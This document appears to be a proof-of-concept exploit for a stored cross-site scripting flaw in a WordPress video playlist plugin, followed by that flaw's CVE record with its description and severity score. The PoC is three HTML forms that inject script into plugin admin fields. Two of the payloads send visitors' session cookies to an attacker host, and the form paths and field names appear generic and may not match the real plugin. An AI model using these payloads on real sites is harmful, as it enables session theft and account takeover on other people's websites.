CVE-2025-62142

<!-- PoC for CVE-2025-62142: Stored XSS in Post Video Players plugin --> <!-- This PoC demonstrates how to inject malicious JavaScript via video playlist fields --> <!-- Step 1: Create a malicious video playlist with XSS payload in title/description --> <form action="http://target-site/wp-admin/admin.php?page=video-playlist" method="POST" enctype="multipart/form-data"> <input type="hidden" name="playlist_name" value="Video Playlist'><script>alert('XSS');document.location='https://attacker.com/steal?cookie='+document.cookie</script>"> <input type="hidden" name="action" value="save_playlist"> <input type="submit" value="Create Playlist"> </form> <!-- Step 2: Alternative payload using video title field --> <form action="http://target-site/wp-admin/admin.php?page=add-video" method="POST"> <input type="hidden" name="video_title" value="<img src=x onerror=alert(document.domain)> Video Title"> <input type="hidden" name="video_url" value="https://example.com/video.mp4"> <input type="hidden" name="action" value="add_video"> <input type="submit" value="Add Video"> </form> <!-- Step 3: Stored XSS payload via gallery description --> <form action="http://target-site/wp-admin/admin.php?page=gallery-settings" method="POST"> <input type="hidden" name="gallery_description" value="Gallery'><script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script>"> <input type="hidden" name="action" value="save_gallery"> <input type="submit" value="Save Gallery"> </form> <!-- When victims visit pages displaying this content, the XSS will be triggered -->

{"cve": {"id": "CVE-2025-62142", "sourceIdentifier": "[email protected]", "published": "2025-12-31T14:15:53.500", "lastModified": "2026-04-23T15:34:37.203", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in nicashmu Post Video Players video-playlist-and-gallery-plugin allows Stored XSS.This issue affects Post Video Players: from n/a through <= 1.163."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web ('cross-site scripting') en el plugin de video y medios de nicashmu Cincopa permite XSS Almacenado. Este problema afecta al plugin de video y medios de Cincopa: desde n/a hasta 1.163."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/video-playlist-and-gallery-plugin/vulnerability/wordpress-post-video-players-plugin-1-163-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}